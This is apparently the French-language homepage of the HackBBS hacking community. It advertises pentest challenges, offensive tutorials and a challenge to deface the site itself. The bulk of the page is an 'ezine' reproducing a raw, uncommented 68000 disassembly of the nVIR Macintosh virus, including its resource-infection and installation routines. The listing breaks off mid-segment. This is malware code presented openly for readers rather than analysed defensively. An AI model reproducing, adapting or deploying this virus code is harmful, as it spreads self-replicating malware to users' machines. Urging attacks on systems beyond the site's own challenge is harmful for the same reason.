CONNEXION ✔ Connexion INSCRIPTION ✔ Inscription Un Bug ? ✐ Un Bug?



Plateforme de Hacking

HackBBS.org est une communauté faisant évoluer un système de services vulnérables.
Nous apprenons à exploiter de manière collaborative des solutions permettant de détourner les systèmes d'informations.
Cet apprentissage nous permet alors d'améliorer la technologie, les relations humaines et les intérêts.
Nous défendons les valeurs de l'entraide et du challenge et contribuons
modestement à rendre l'expérience des utilisateurs finaux
la plus agréable possible.

L'irc est assez actif. Le forum doit être remplacé par une version plus moderne.
Il rentre donc à son tour dans la liste des cibles disponible.

La refonte est en version alpha. Cette nouvelle plateforme permet de pentester à distance sans avoir son matériel à disposition.
Via l'exécution de scripts python connecté en websocket à l'ihm web, nous pouvons piloter le chargement de scénario
d'attaque/défense en "multijoueur" ^^.
Le système permet de charger des scripts de bibliothèques partagées et de chiffrer les échanges selon les modules déployés.
Vous trouverez dans la rubrique article de nombreux tutoriels afin de mieux comprendre la sécurité informatique,
ainsi que différents articles plus poussés.
Hacker
  • Sniffing
  • Cracking
  • Buffer overflow
  • Créations d'exploits
  • Social engineering
  • L'anonymat sur le web, spoofing
  • Bypass-proxy, Bypass-firewall
  • Injection de code SSI, SQL, etc...
  • Utilisation d'exploits, création de scripts(php, irc, perl)
  • Cours en ligne
We make porn
Donate Button
Loading

Please Donate To Bitcoin Address: [[address]]

Donation of [[value]] BTC Received. Thank You.
[[error]]
Nous vous recommandons de sniffer votre réseau lors de votre navigation sur le site. La refonte vous fournira un outillage pour réaliser vos attaques/défenses.
Flux RSS

flux RSS d'HackBBS Abonnez-vous. Soyez prévenu des tournois, challenges, actualités, ...
Recevez nos dernières actualités sur notre flux RSS.


Dernières mises à jour
Déploiement du vpn en mode TUN pour supporter les devices mobile Android.
Publication officielle de l'existence du FTP de hackBBS
Mise en place d'un nouveau système de publication d'article. Désormais, les contributeurs pourront aisément publier du contenu.
Implémentation d'un nouveau service vulnérable sur le dédié. (source du service dispo dans /usr/local/src/)
Création de 2 nouveaux comptes sur le dédié.
Mise en ligne de nouveaux articles sur les réseaux de neurones.
Premier tournois Battle-bot sur irc.hackint.eu.
Mise en production du flux rss.
Lancement du projet battle-bot. Ce projet est l'organisation et le développement d'un tournoi de bot sur #hackbbs-battle. Pour plus d'informations se référer à la section tournois dans le menu de gauche.
Mise en production de l'outil turtle search. Cet outil permet de chercher dans notre base de donnée les liens, documents, programmes, qui ont été utiles à la communauté.
Mise en place outil RSS. Nebojsa est nommé "responsable news". Cette responsabilité touche les nouvelles du site et les m-a-j effectué sur le flux rss.
M-a-j du syst. de ban anti-scan. Rien n'est fini, et scan autorisé ! C'est juste un challenge de plus, et le ban n'est que temporaire
M-a-j pages toolbox, merci à the-death pour sa contribution

Challenges
Vous pourrez également participer à de nombreux challenges en constant renouvellement (si possible :p)
Dernièrement, les missions relativent aux derniers produits open sources marchent bien :)

Votre ultime challenge sera de défacer HackBBS. De nombreuses failles sont présentes. A vous de les trouver et de les exploiter.

Cet ultime test permettra de constater votre réactions face à une faille.
Black ou White? ^^

Ezine du moment: nVIRDisassembled.txt

;Seg 1 = nVIR ID# 1 proc 1 of 7 (local)

0000: L0000	BRA.S	L0006
0002: L0002	ORI.B	#$00,D0
0006: L0006	MOVEA.L	L0002,A0
000A: 	JSR	(A0)
000C: 	MOVEA.L	(A7),A0
000E: 	CLR.L	(A7)
0010: 	MOVE.B	#$03,-(A7)
0014: 	MOVE.L	A0,-(A7)
0016: 	JMP	L001A
001A: L001A	LINK	A6,#$0000
001E: 	MOVE.L	$000A(A6),-(A7)
0022: 	MOVE.B	$0008(A6),-(A7)
0026: 	JSR	locProc2
002A: 	UNLK	A6
002C: 	MOVEA.L	(A7)+,A0
002E: 	ADDQ.W	#6,A7
0030: 	JMP	(A0)
0032: 	.WORD	$C34F,$4D50,$4320,$2020	;[.OMPC   ]
003A: 	.WORD	0	;[........]

;Seg 1 = nVIR ID# 1 proc 2 of 7 (local)

0000: L003C	LINK	A6,#$FFF6
0004: 	MOVEM.L	D5-D7/A3-A4,-(A7)
0008: 	MOVE.L	$000A(A6),D6
000C: 	MOVE.B	$0008(A6),D5
0010: 	CLR.L	-(A7)
0012: 	JSR	locProc4
0016: 	MOVEA.L	(A7)+,A3
0018: 	CLR.L	-(A7)
001A: 	MOVE.L	$02A6,(A7)
001E: 	JSR	locProc5
0022: 	CLR.W	-(A7)
0024: 	_SetResLoad	
0026: 	CLR.W	-(A7)
0028: 	_CurResFile	
002A: 	MOVE.W	(A7)+,D7
002C: 	MOVEQ	$01,D0
002E: 	CMP.B	D5,D0
0030: 	SEQ	D0
0032: 	TST.L	D6
0034: 	SEQ	D1
0036: 	AND.B	D1,D0
0038: 	BEQ.S	L007E
003A: 	MOVE.W	#$001E,-(A7)
003E: 	_SysBeep	
0040: 	BRA.S	L00E2
0042: L007E	CLR.W	-(A7)
0044: 	_SetResLoad	
0046: 	CLR.L	-(A7)
0048: 	MOVE.L	L012E,-(A7)
004C: 	MOVE.W	#$000A,-(A7)
0050: 	_GetResource	
0052: 	MOVEA.L	(A7)+,A4
0054: 	MOVE.L	A4,D0
0056: 	BNE.S	L00E2
0058: 	MOVE.L	A4,-(A7)
005A: 	_ReleaseResource	
005C: 	MOVE.B	#$01,-(A7)
0060: 	_SetResLoad	
0062: 	CLR.L	-(A7)
0064: 	MOVE.L	L012E,-(A7)
0068: 	MOVE.W	#$0007,-(A7)
006C: 	_GetResource	
006E: 	MOVEA.L	(A7)+,A4
0070: 	MOVE.L	A4,D0
0072: 	SEQ	D0
0074: 	MOVE.L	D0,-(A7)
0076: 	CLR.W	-(A7)
0078: 	_ResError	
007A: 	MOVE.W	(A7)+,D1
007C: 	MOVE.L	(A7)+,D0
007E: 	TST.W	D1
0080: 	SNE	D1
0082: 	OR.B	D1,D0
0084: 	BNE.S	L00E2
0086: 	MOVE.L	A4,-(A7)
0088: 	_DetachResource	
008A: 	MOVE.L	A4,-(A7)
008C: 	JSR	locProc7
0090: 	MOVE.L	A3,-(A7)
0092: 	JSR	locProc5
0096: 	MOVE.L	D6,-(A7)
0098: 	MOVE.B	D5,-(A7)
009A: 	MOVE.L	(A4),-(A7)
009C: 	JSR	locProc3
00A0: 	MOVE.L	A4,-(A7)
00A2: 	JSR	locProc6
00A6: L00E2	MOVE.W	D7,-(A7)
00A8: 	_UseResFile	
00AA: 	MOVE.B	#$01,-(A7)
00AE: 	_SetResLoad	
00B0: 	MOVE.L	A3,-(A7)
00B2: 	JSR	locProc5
00B6: 	MOVEQ	$01,D0
00B8: 	CMP.B	D5,D0
00BA: 	BNE.S	L0118
00BC: 	MOVE.W	D7,-(A7)
00BE: 	_UpdateResFile	
00C0: 	CLR.L	-(A7)
00C2: 	MOVE.L	L012E,-(A7)
00C6: 	MOVE.W	#$0002,-(A7)
00CA: 	_GetResource	
00CC: 	MOVEA.L	(A7)+,A4
00CE: 	MOVE.L	A4,D0
00D0: 	BNE.S	L0110
00D2: 	_ExitToShell	
00D4: L0110	MOVEA.L	(A4),A0
00D6: 	MOVEA.L	D6,A1
00D8: 	MOVE.L	(A0)+,(A1)+
00DA: 	MOVE.L	(A0)+,(A1)+
00DC: L0118	MOVEM.L	(A7)+,D5-D7/A3-A4
00E0: 	UNLK	A6
00E2: 	MOVEA.L	(A7)+,A0
00E4: 	ADDQ.W	#6,A7
00E6: 	JMP	(A0)
00E8: 	.WORD	$C94E,$5354,$2020,$2020	;[.NST    ]
00F0: 	.WORD	4,$6E56,$4952	;[..nVIR..]

;Seg 1 = nVIR ID# 1 proc 3 of 7 (local)

0000: L0132	MOVEA.L	(A7)+,A0
0002: 	MOVEA.L	(A7),A1
0004: 	MOVE.L	A0,(A7)
0006: 	JMP	(A1)

;Seg 1 = nVIR ID# 1 proc 4 of 7 (local)

0000: L013A	_GetZone	
0002: 	MOVE.L	A0,$0004(A7)
0006: 	JMP	L015C

;Seg 1 = nVIR ID# 1 proc 5 of 7 (local)

0000: L0144	MOVEA.L	(A7)+,A1
0002: 	MOVEA.L	(A7)+,A0
0004: 	_SetZone	
0006: 	JMP	L015A
000A: 	MOVEA.L	(A7)+,A1
000C: 	MOVE.L	(A7)+,D0
000E: 	_CompactMem	
0010: 	MOVE.L	D0,(A7)
0012: 	NOP	
0014: 	MOVEQ	$00,D0
0016: L015A	MOVE.L	A1,-(A7)
0018: L015C	MOVE.W	D0,$0220
001C: 	RTS	
001E: 	.WORD	$7000,$60F6	;[p.`.....]

;Seg 1 = nVIR ID# 1 proc 6 of 7 (local)

0000: L0166	MOVEA.L	(A7)+,A1
0002: 	MOVEA.L	(A7)+,A0
0004: 	_DisposHandle	
0006: 	JMP	L015A

;Seg 1 = nVIR ID# 1 proc 7 of 7 (local)

0000: L0170	MOVEA.L	(A7)+,A1
0002: 	MOVEA.L	(A7)+,A0
0004: 	_HLock	
0006: 	JMP	L015A

;Seg 2 = nVIR ID# 2 proc 1 of 1 (local)

0000: L0000	ORI.B	#$3C,D0	;'<'
0004: 	ORI.B	#$F0,D1

;Seg 3 = nVIR ID# 3 proc 1 of 7 (local)

0000: L0000	MOVEA.L	(A7),A0
0002: 	CLR.L	(A7)
0004: 	MOVE.B	#$02,-(A7)
0008: 	MOVE.L	A0,-(A7)
000A: 	JMP	L000E
000E: L000E	LINK	A6,#$0000
0012: 	MOVE.L	$000A(A6),-(A7)
0016: 	MOVE.B	$0008(A6),-(A7)
001A: 	JSR	locProc2
001E: 	UNLK	A6
0020: 	MOVEA.L	(A7)+,A0
0022: 	ADDQ.W	#6,A7
0024: 	JMP	(A0)
0026: 	.WORD	$C34F,$4D50,$4320,$2020	;[.OMPC   ]
002E: 	.WORD	0	;[........]

;Seg 3 = nVIR ID# 3 proc 2 of 7 (local)

0000: L0030	LINK	A6,#$FFF6
0004: 	MOVEM.L	D5-D7/A3-A4,-(A7)
0008: 	MOVE.L	$000A(A6),D6
000C: 	MOVE.B	$0008(A6),D5
0010: 	CLR.L	-(A7)
0012: 	JSR	locProc4
0016: 	MOVEA.L	(A7)+,A3
0018: 	CLR.L	-(A7)
001A: 	MOVE.L	$02A6,(A7)
001E: 	JSR	locProc5
0022: 	CLR.W	-(A7)
0024: 	_SetResLoad	
0026: 	CLR.W	-(A7)
0028: 	_CurResFile	
002A: 	MOVE.W	(A7)+,D7
002C: 	MOVEQ	$01,D0
002E: 	CMP.B	D5,D0
0030: 	SEQ	D0
0032: 	TST.L	D6
0034: 	SEQ	D1
0036: 	AND.B	D1,D0
0038: 	BEQ.S	L0072
003A: 	MOVE.W	#$001E,-(A7)
003E: 	_SysBeep	
0040: 	BRA.S	L00D6
0042: L0072	CLR.W	-(A7)
0044: 	_SetResLoad	
0046: 	CLR.L	-(A7)
0048: 	MOVE.L	L0122,-(A7)
004C: 	MOVE.W	#$000A,-(A7)
0050: 	_GetResource	
0052: 	MOVEA.L	(A7)+,A4
0054: 	MOVE.L	A4,D0
0056: 	BNE.S	L00D6
0058: 	MOVE.L	A4,-(A7)
005A: 	_ReleaseResource	
005C: 	MOVE.B	#$01,-(A7)
0060: 	_SetResLoad	
0062: 	CLR.L	-(A7)
0064: 	MOVE.L	L0122,-(A7)
0068: 	MOVE.W	#$0007,-(A7)
006C: 	_GetResource	
006E: 	MOVEA.L	(A7)+,A4
0070: 	MOVE.L	A4,D0
0072: 	SEQ	D0
0074: 	MOVE.L	D0,-(A7)
0076: 	CLR.W	-(A7)
0078: 	_ResError	
007A: 	MOVE.W	(A7)+,D1
007C: 	MOVE.L	(A7)+,D0
007E: 	TST.W	D1
0080: 	SNE	D1
0082: 	OR.B	D1,D0
0084: 	BNE.S	L00D6
0086: 	MOVE.L	A4,-(A7)
0088: 	_DetachResource	
008A: 	MOVE.L	A4,-(A7)
008C: 	JSR	locProc7
0090: 	MOVE.L	A3,-(A7)
0092: 	JSR	locProc5
0096: 	MOVE.L	D6,-(A7)
0098: 	MOVE.B	D5,-(A7)
009A: 	MOVE.L	(A4),-(A7)
009C: 	JSR	locProc3
00A0: 	MOVE.L	A4,-(A7)
00A2: 	JSR	locProc6
00A6: L00D6	MOVE.W	D7,-(A7)
00A8: 	_UseResFile	
00AA: 	MOVE.B	#$01,-(A7)
00AE: 	_SetResLoad	
00B0: 	MOVE.L	A3,-(A7)
00B2: 	JSR	locProc5
00B6: 	MOVEQ	$01,D0
00B8: 	CMP.B	D5,D0
00BA: 	BNE.S	L010C
00BC: 	MOVE.W	D7,-(A7)
00BE: 	_UpdateResFile	
00C0: 	CLR.L	-(A7)
00C2: 	MOVE.L	L0122,-(A7)
00C6: 	MOVE.W	#$0002,-(A7)
00CA: 	_GetResource	
00CC: 	MOVEA.L	(A7)+,A4
00CE: 	MOVE.L	A4,D0
00D0: 	BNE.S	L0104
00D2: 	_ExitToShell	
00D4: L0104	MOVEA.L	(A4),A0
00D6: 	MOVEA.L	D6,A1
00D8: 	MOVE.L	(A0)+,(A1)+
00DA: 	MOVE.L	(A0)+,(A1)+
00DC: L010C	MOVEM.L	(A7)+,D5-D7/A3-A4
00E0: 	UNLK	A6
00E2: 	MOVEA.L	(A7)+,A0
00E4: 	ADDQ.W	#6,A7
00E6: 	JMP	(A0)
00E8: 	.WORD	$C94E,$5354,$2020,$2020	;[.NST    ]
00F0: 	.WORD	4,$6E56,$4952	;[..nVIR..]

;Seg 3 = nVIR ID# 3 proc 3 of 7 (local)

0000: L0126	MOVEA.L	(A7)+,A0
0002: 	MOVEA.L	(A7),A1
0004: 	MOVE.L	A0,(A7)
0006: 	JMP	(A1)

;Seg 3 = nVIR ID# 3 proc 4 of 7 (local)

0000: L012E	_GetZone	
0002: 	MOVE.L	A0,$0004(A7)
0006: 	JMP	L0150

;Seg 3 = nVIR ID# 3 proc 5 of 7 (local)

0000: L0138	MOVEA.L	(A7)+,A1
0002: 	MOVEA.L	(A7)+,A0
0004: 	_SetZone	
0006: 	JMP	L014E
000A: 	MOVEA.L	(A7)+,A1
000C: 	MOVE.L	(A7)+,D0
000E: 	_CompactMem	
0010: 	MOVE.L	D0,(A7)
0012: 	NOP	
0014: 	MOVEQ	$00,D0
0016: L014E	MOVE.L	A1,-(A7)
0018: L0150	MOVE.W	D0,$0220
001C: 	RTS	
001E: 	.WORD	$7000,$60F6	;[p.`.....]

;Seg 3 = nVIR ID# 3 proc 6 of 7 (local)

0000: L015A	MOVEA.L	(A7)+,A1
0002: 	MOVEA.L	(A7)+,A0
0004: 	_DisposHandle	
0006: 	JMP	L014E

;Seg 3 = nVIR ID# 3 proc 7 of 7 (local)

0000: L0164	MOVEA.L	(A7)+,A1
0002: 	MOVEA.L	(A7)+,A0
0004: 	_HLock	
0006: 	JMP	L014E

;Seg 4 = nVIR ID# 6 proc 1 of 13 (local)

0000: L0000	ORI.B	#$20,D0	;' '
0004: 	JMP	L0008
0008: L0008	LINK	A6,#$0000
000C: 	MOVE.B	$0008(A6),-(A7)
0010: 	JSR	locProc4
0014: 	UNLK	A6
0016: 	MOVEA.L	(A7)+,A0
0018: 	ADDQ.W	#2,A7
001A: 	JMP	(A0)
001C: 	.WORD	$D448,$4556,$4952,$5553	;[.HEVIRUS]
0024: 	.WORD	0	;[........]

;Seg 4 = nVIR ID# 6 proc 2 of 13 (local)

0000: L0026	LINK	A6,#$0000
0004: 	MOVE.L	A4,-(A7)
0006: 	MOVEA.L	$0008(A6),A4
000A: 	CLR.W	-(A7)
000C: 	MOVE.L	$FEFC(A4),-(A7)
0010: 	LEA	$FF00(A4),A0
0014: 	MOVE.L	A0,D0
0016: 	ADDQ.L	#1,D0
0018: 	MOVE.L	D0,-(A7)
001A: 	CLR.W	D0
001C: 	MOVE.B	$FF00(A4),D0
0020: 	EXT.L	D0
0022: 	MOVE.L	D0,-(A7)
0024: 	MOVE.L	$FEF6(A4),-(A7)
0028: 	JSR	locProc13
002C: 	MOVE.W	(A7)+,$FEFA(A4)
0030: 	TST.W	$FEFA(A4)
0034: 	BNE.S	L0076
0036: 	MOVE.L	$FEF6(A4),-(A7)
003A: 	JSR	locProc7
003E: 	CLR.W	-(A7)
0040: 	MOVE.L	$FEFC(A4),-(A7)
0044: 	MOVE.L	$FEF6(A4),-(A7)
0048: 	JSR	locProc12
004C: 	MOVE.W	(A7)+,$FEFA(A4)
0050: L0076	MOVEA.L	(A7)+,A4
0052: 	UNLK	A6
0054: 	MOVE.L	(A7)+,(A7)
0056: 	RTS	
0058: 	.WORD	$D341,$5949,$5420,$2020	;[.AYIT   ]
0060: 	.WORD	0	;[........]

;Seg 4 = nVIR ID# 6 proc 3 of 13 (local)

0000: L0088	LINK	A6,#$0000
0004: 	MOVE.L	A4,-(A7)
0006: 	MOVEA.L	$0008(A6),A4
000A: 	MOVE.L	$FEFC(A4),-(A7)
000E: 	JSR	locProc10
0012: 	TST.L	$FEF6(A4)
0016: 	BEQ.S	L00A8
0018: 	MOVE.L	$FEF6(A4),-(A7)
001C: 	JSR	locProc6
0020: L00A8	MOVEA.L	$0008(A6),A0
0024: 	MOVEA.L	A0,A6
0026: 	JMP	L013C	;* EXIT *
002A: 	.WORD	$0000
002C: 	MOVEA.L	(A7)+,A4
002E: 	UNLK	A6
0030: 	MOVE.L	(A7)+,(A7)
0032: 	RTS	
0034: 	.WORD	$CD59,$4558,$4954,$2020	;[.YEXIT  ]
003C: 	.WORD	0	;[........]

;Seg 4 = nVIR ID# 6 proc 4 of 13 (local)

0000: L00C6	LINK	A6,#$FEF4
0004: 	MOVEM.L	D3-D7/A2-A4,-(A7)
0008: 	MOVEQ	$03,D0
000A: 	CMP.B	$0008(A6),D0
000E: 	BEQ.S	L00D8
0010: 	BRA.S	L013C
0012: L00D8	CLR.W	-(A7)
0014: 	PEA	L0164
0018: 	PEA	$FEFC(A6)
001C: 	JSR	locProc8
0020: 	MOVE.W	(A7)+,$FEFA(A6)
0024: 	TST.W	$FEFA(A6)
0028: 	BEQ.S	L00F8
002A: 	MOVE.W	#$001E,-(A7)
002E: 	_SysBeep	
0030: 	BRA.S	L013C
0032: L00F8	CLR.B	$FEF5(A6)
0036: 	MOVE.L	$FEFC(A6),-(A7)
003A: 	CLR.W	-(A7)
003C: 	MOVE.B	$FEF5(A6),-(A7)
0040: 	JSR	locProc11
0044: 	CLR.L	-(A7)
0046: 	CLR.L	-(A7)
0048: 	JSR	locProc5
004C: 	MOVE.L	(A7)+,$FEF6(A6)
0050: 	BNE.S	L0120
0052: 	MOVE.L	A6,-(A7)
0054: 	JSR	locProc3
0058: 	BRA.S	L013C
005A: L0120	LEA	$FF00(A6),A0
005E: 	LEA	L0156,A1
0062: 	MOVE.L	(A1)+,(A0)+
0064: 	MOVE.L	(A1)+,(A0)+
0066: 	MOVE.L	(A1)+,(A0)+
0068: 	MOVE.W	(A1),(A0)
006A: 	MOVE.L	A6,-(A7)
006C: 	JSR	locProc2
0070: 	MOVE.L	A6,-(A7)
0072: 	JSR	locProc3
0076: L013C	LEA	$FED4(A6),A7
007A: 	MOVEM.L	(A7)+,D3-D7/A2-A4
007E: 	UNLK	A6
0080: 	MOVEA.L	(A7)+,A0
0082: 	ADDQ.W	#2,A7
0084: 	JMP	(A0)
0086: 	.WORD	$C44F,$5649,$5255,$5320	;[.OVIRUS ]
008E: 	.WORD	$10,$C44,$6F6E,$2774	;[...Don't]
0096: 	.WORD	$2050,$616E,$6963,$2E00	;[ Panic..]
009E: L0164	.WORD	0,$225F,$201F,$A04C	;[.."_ ..L]
00A6: 	.WORD	$2E80,$4E71,$7000,$2F09	;[..Nqp./.]
00AE: 	.WORD	$31C0,$220,$4E75,$7000	;[1.. Nup.]
00B6: 	.WORD	$60F6	;[`.......]

;Seg 4 = nVIR ID# 6 proc 5 of 13 (local)

0000: L017E	MOVEA.L	(A7)+,A1
0002: 	MOVE.L	(A7)+,D0
0004: 	_NewHandle	
0006: 	MOVE.L	A0,(A7)
0008: 	JMP	L0172

;Seg 4 = nVIR ID# 6 proc 6 of 13 (local)

0000: L018A	MOVEA.L	(A7)+,A1
0002: 	MOVEA.L	(A7)+,A0
0004: 	_DisposHandle	
0006: 	JMP	L0172

;Seg 4 = nVIR ID# 6 proc 7 of 13 (local)

0000: L0194	MOVEA.L	(A7)+,A1
0002: 	MOVEA.L	(A7)+,A0
0004: 	_HLock	
0006: 	JMP	L0172

;Seg 4 = nVIR ID# 6 proc 8 of 13 (local)

0000: L019E	MOVE.L	A2,-(A7)
0002: 	MOVEQ	$64,D0
0004: 	_NewHandle	
0006: 	MOVEA.L	$0008(A7),A1
000A: 	MOVE.L	A0,(A1)
000C: 	TST.W	D0
000E: 	BNE.S	L01CE
0010: 	_HLock	
0012: 	MOVEA.L	(A0),A2
0014: 	MOVEQ	$00,D0
0016: 	MOVEQ	$18,D1
0018: 	MOVEA.L	A2,A0
001A: L01B8	MOVE.L	D0,(A0)+
001C: 	DBRA	D1,L01B8
0020: 	CLR.W	-(A7)
0022: 	PEA	L028C
0026: 	_OpenResFile	
0028: 	MOVE.W	(A7)+,D0
002A: 	BPL.S	locProc9
002C: 	MOVE.W	$0A60,D0
0030: L01CE	MOVEA.L	(A7)+,A2
0032: 	MOVE.L	(A7),$0008(A7)
0036: 	ADDQ.L	#8,A7
0038: 	MOVE.W	D0,$0004(A7)
003C: 	RTS	

;Seg 4 = nVIR ID# 6 proc 9 of 13 (local)

0000: L01DC	MOVE.W	D0,$004A(A2)
0004: 	CLR.B	-(A7)
0006: 	_SetResLoad	
0008: 	CLR.L	-(A7)
000A: 	MOVE.L	#$44525652,-(A7)	;'DRVR'
0010: 	PEA	L0284	;.SPEECH
0014: 	_GetNamedResource	
0016: 	MOVEA.L	(A7)+,A1
0018: 	MOVE.W	$0A60,D0
001C: 	BNE.S	L01CE
001E: 	MOVE.B	#$01,-(A7)
0022: 	_SetResLoad	
0024: 	MOVEA.L	$011C,A0
0028: 	ADDA.W	#$0080,A0
002C: 	MOVE.W	#$0020,D0
0030: L020C	SUBQ.W	#1,D0
0032: 	CMPI.W	#$0012,D0
0036: 	BGT.S	L021A
0038: 	MOVE.W	#$F060,D0
003C: 	BRA.S	L01CE
003E: L021A	CMPI.L	#$00000000,-(A0)
0044: 	BNE.S	L020C
0046: 	MOVE.W	D0,D1
0048: 	ADDQ.W	#1,D1
004A: 	NEG.W	D1
004C: 	MOVE.W	D1,$0046(A2)
0050: 	MOVE.L	A1,-(A7)
0052: 	MOVE.W	D0,-(A7)
0054: 	CLR.L	-(A7)
0056: 	_SetResInfo	
0058: 	MOVE.L	A1,-(A7)
005A: 	_LoadResource	
005C: 	MOVE.W	$0A60,D0
0060: 	MOVEA.L	A1,A0
0062: 	_HLock	
0064: 	MOVEA.L	(A7)+,A2
0066: 	MOVEA.L	(A7)+,A0
0068: 	MOVE.L	(A7)+,D0
006A: 	MOVEA.L	(A7)+,A1
006C: 	MOVE.L	A0,-(A7)
006E: 	MOVE.L	A2,-(A7)
0070: 	MOVEA.L	D0,A2
0072: 	MOVEA.L	(A2),A2
0074: 	MOVE.L	A2,-(A7)
0076: 	MOVEA.L	(A2),A2
0078: 	LEA	(A2),A0
007A: 	MOVE.L	A1,$003C(A0)
007E: 	LEA	L0284,A1
0082: 	MOVE.L	A1,$0012(A0)
0086: 	CLR.W	$0016(A0)
008A: 	CLR.W	$001A(A0)
008E: 	CLR.L	$001C(A0)
0092: 	_Open	
0094: 	MOVE.W	$0010(A0),$000C(A7)
009A: 	MOVE.L	$0034(A0),$0042(A2)
00A0: 	MOVEA.L	(A7)+,A0
00A2: 	_HUnLock	
00A4: 	MOVEA.L	(A7)+,A2
00A6: 	RTS	
00A8: L0284	.WORD	$72E,$5350,$4545,$4348	;[..SPEECH]
00B0: L028C	.WORD	$94D,$6163,$696E,$5461	;[.MacinTa]
00B8: 	.WORD	$6C6B	;[lk......]

;Seg 4 = nVIR ID# 6 proc 10 of 13 (local)

0000: L0296	MOVE.L	A2,-(A7)
0002: 	MOVEA.L	$0008(A7),A0
0006: 	_HLock	
0008: 	MOVEA.L	(A0),A2
000A: 	LEA	(A2),A0
000C: 	UNKNOWN	
000E: 	MOVE.W	$004A(A2),D0
0012: 	BEQ.S	L02AE
0014: 	MOVE.W	D0,-(A7)
0016: 	_CloseResFile	
0018: L02AE	MOVEA.L	$0008(A7),A0
001C: 	_HUnLock	
001E: 	_DisposHandle	
0020: 	MOVEA.L	(A7)+,A2
0022: 	MOVE.L	(A7),$0004(A7)
0026: 	ADDQ.L	#4,A7
0028: 	RTS	

;Seg 4 = nVIR ID# 6 proc 11 of 13 (local)

0000: L02C0	MOVEQ	$00,D2
0002: 	MOVEA.L	(A7)+,A1
0004: 	MOVE.B	(A7)+,D2
0006: 	MOVE.W	(A7)+,D1
0008: 	MOVEA.L	(A7)+,A0
000A: 	MOVE.L	A1,-(A7)
000C: 	MOVE.L	A0,-(A7)
000E: 	_HLock	
0010: 	MOVEA.L	(A0),A1
0012: 	LINK	A6,#$FFE0
0016: 	LEA	$FFE0(A6),A0
001A: 	MOVE.W	$0046(A1),$0018(A0)
0020: 	CLR.W	$001A(A0)
0024: 	MOVE.W	D2,$001C(A0)
0028: 	UNKNOWN	
002A: 	MOVE.W	#$0004,$001A(A0)
0030: 	MOVE.W	D1,$001C(A0)
0034: 	UNKNOWN	
0036: 	UNLK	A6
0038: 	MOVEA.L	(A7)+,A0
003A: 	_HUnLock	
003C: 	RTS	

;Seg 4 = nVIR ID# 6 proc 12 of 13 (local)

0000: L02FE	MOVE.L	(A7)+,D0
0002: 	MOVEA.L	(A7)+,A1
0004: 	MOVEA.L	(A7)+,A0
0006: 	MOVE.L	D0,-(A7)
0008: 	MOVE.L	A0,-(A7)
000A: 	_HLock	
000C: 	MOVEA.L	A1,A0
000E: 	_GetHandleSize	
0010: 	MOVE.L	A2,-(A7)
0012: 	MOVEA.L	$0004(A7),A2
0016: 	MOVEA.L	(A2),A2
0018: 	LEA	(A2),A0
001A: 	MOVE.W	$0046(A2),$0018(A0)
0020: 	MOVE.L	A1,$0020(A0)
0024: 	MOVE.L	D0,$0024(A0)
0028: 	UNKNOWN	
002A: 	MOVEA.L	(A7)+,A2
002C: 	MOVEA.L	(A7)+,A0
002E: 	MOVE.W	D0,-(A7)
0030: 	_HUnLock	
0032: 	MOVE.W	(A7)+,D0
0034: 	MOVE.W	D0,$0004(A7)
0038: 	RTS	

;Seg 4 = nVIR ID# 6 proc 13 of 13 (local)

0000: L0338	MOVEA.L	$0010(A7),A0
0004: 	MOVE.L	$000C(A7),$0010(A7)
000A: 	MOVE.L	$0008(A7),$000C(A7)
0010: 	MOVE.L	$0004(A7),$0008(A7)
0016: 	MOVE.L	(A7),$0004(A7)
001A: 	ADDQ.L	#4,A7
001C: 	_HLock	
001E: 	MOVEA.L	(A0),A0
0020: 	MOVEA.L	$0042(A0),A0
0024: 	_HLock	
0026: 	MOVEA.L	(A0),A0
0028: 	JMP	(A0)
002A: 	.WORD	$4E75	;[Nu......]

;Seg 5 = nVIR ID# 7 proc 1 of 14 (local)

0000: L0000	LINK	A6,#$0000
0004: 	MOVE.L	$000A(A6),-(A7)
0008: 	MOVE.B	$0008(A6),-(A7)
000C: 	JSR	locProc3
0010: 	UNLK	A6
0012: 	MOVEA.L	(A7)+,A0
0014: 	ADDQ.W	#6,A7
0016: 	JMP	(A0)
0018: 	.WORD	$C34F,$4D50,$4320,$2020	;[.OMPC   ]
0020: 	.WORD	0	;[........]

;Seg 5 = nVIR ID# 7 proc 2 of 14 (local)

0000: L0022	LINK	A6,#$FFFC
0004: 	MOVE.L	A4,-(A7)
0006: 	CLR.L	-(A7)
0008: 	MOVE.L	L007A,-(A7)
000C: 	MOVE.W	#$0001,-(A7)
0010: 	_GetResource	
0012: 	MOVEA.L	(A7)+,A4
0014: 	MOVE.L	A4,D0
0016: 	BEQ.S	L0068
0018: 	MOVE.L	A4,-(A7)
001A: 	_DetachResource	
001C: 	MOVE.L	A4,-(A7)
001E: 	JSR	locProc9
0022: 	MOVEA.L	(A4),A0
0024: 	MOVE.L	A0,-(A7)
0026: 	CLR.L	-(A7)
0028: 	MOVE.W	#$A9CC,-(A7)
002C: 	JSR	locProc12
0030: 	MOVE.L	(A7)+,D0
0032: 	MOVEA.L	(A7)+,A0
0034: 	MOVE.L	D0,$0002(A0)
0038: 	MOVEA.L	(A4),A0
003A: 	PEA	$0006(A0)
003E: 	MOVE.W	#$A9CC,-(A7)
0042: 	JSR	locProc13
0046: L0068	MOVEA.L	(A7)+,A4
0048: 	UNLK	A6
004A: 	MOVE.L	(A7)+,(A7)
004C: 	RTS	
004E: 	.WORD	$C94E,$5354,$414C,$4C54	;[.NSTALLT]
0056: 	.WORD	4,$6E56,$4952	;[..nVIR..]

;Seg 5 = nVIR ID# 7 proc 3 of 14 (local)

0000: L007E	LINK	A6,#$FFD0
0004: 	MOVEM.L	D5-D7/A4,-(A7)
0008: 	MOVE.B	$0008(A6),D7
000C: 	CLR.L	-(A7)
000E: 	JSR	locProc5
0012: 	MOVEA.L	(A7)+,A4
0014: 	CLR.L	-(A7)
0016: 	MOVE.L	$02A6,(A7)
001A: 	JSR	locProc6
001E: 	MOVEQ	$01,D0
0020: 	CMP.B	D7,D0
0022: 	SEQ	D0
0024: 	TST.L	$000A(A6)
0028: 	SEQ	D1
002A: 	AND.B	D1,D0
002C: 	BEQ.S	L00B6
002E: 	MOVE.W	#$001E,-(A7)
0032: 	_SysBeep	
0034: 	BRA	L0560
0038: L00B6	CLR.W	-(A7)
003A: 	_CurResFile	
003C: 	MOVE.W	(A7)+,D6
003E: 	CLR.W	-(A7)
0040: 	_UseResFile	
0042: 	CLR.B	D5
0044: 	MOVE.B	#$01,-(A7)
0048: 	_SetResLoad	
004A: 	CLR.L	-(A7)
004C: 	MOVE.L	L058C,-(A7)
0050: 	CLR.W	-(A7)
